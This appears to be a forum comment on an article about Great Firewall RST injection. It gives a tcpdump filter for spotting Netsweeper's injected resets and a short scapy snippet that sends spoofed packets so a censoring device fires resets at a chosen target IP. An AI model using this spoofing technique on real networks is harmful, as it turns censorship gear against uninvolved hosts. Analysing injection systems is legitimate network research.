The article starts with GFW and then goes onto RST packet validation.It's great to see people re-learning the classics. Awesome! Extra points for using "scapy".

The article starts with GFW and then goes onto RST packet validation.It's great to see people re-learning the classics. Awesome! Extra points for using "scapy". The injected RST are often easy to drop once you know what you are looking for. For example Netsweeper RST was easy to spot. In past I caught them with simple tcpdump looking for window size=4096. It worked well "tcp[tcpflags] = (tcp-ack|tcp-push|tcp-fin) and tcp[14:2]=4096" Anyhow, with L3 RST injection systems it's easy to abuse them. For example - they don't have rate limits usually and they don't verify IP's. By sending a spoofed packet in the direction of such netsweeper / GFW you might be able to trick it to .... generate two packets aginst some host. For example from scapy.all import * payload = "GET / HTTP/1.1\r\nHost: censored.com\r\n\r\n" ip = 'b.b.b.b' # the target IP, p = (IP(src=ip, dst=ip)/TCP(sport=9999,dport=80,flags="PA")/payload)[IP] p.show() send(p, iface="ethx") If such a packet is directed against an L3 censoring device, it might generate TWO RST packets and send them towards b.b.b.b. The takeaway: L3 packet injecting is hard, and fundamentally flawed. Of course.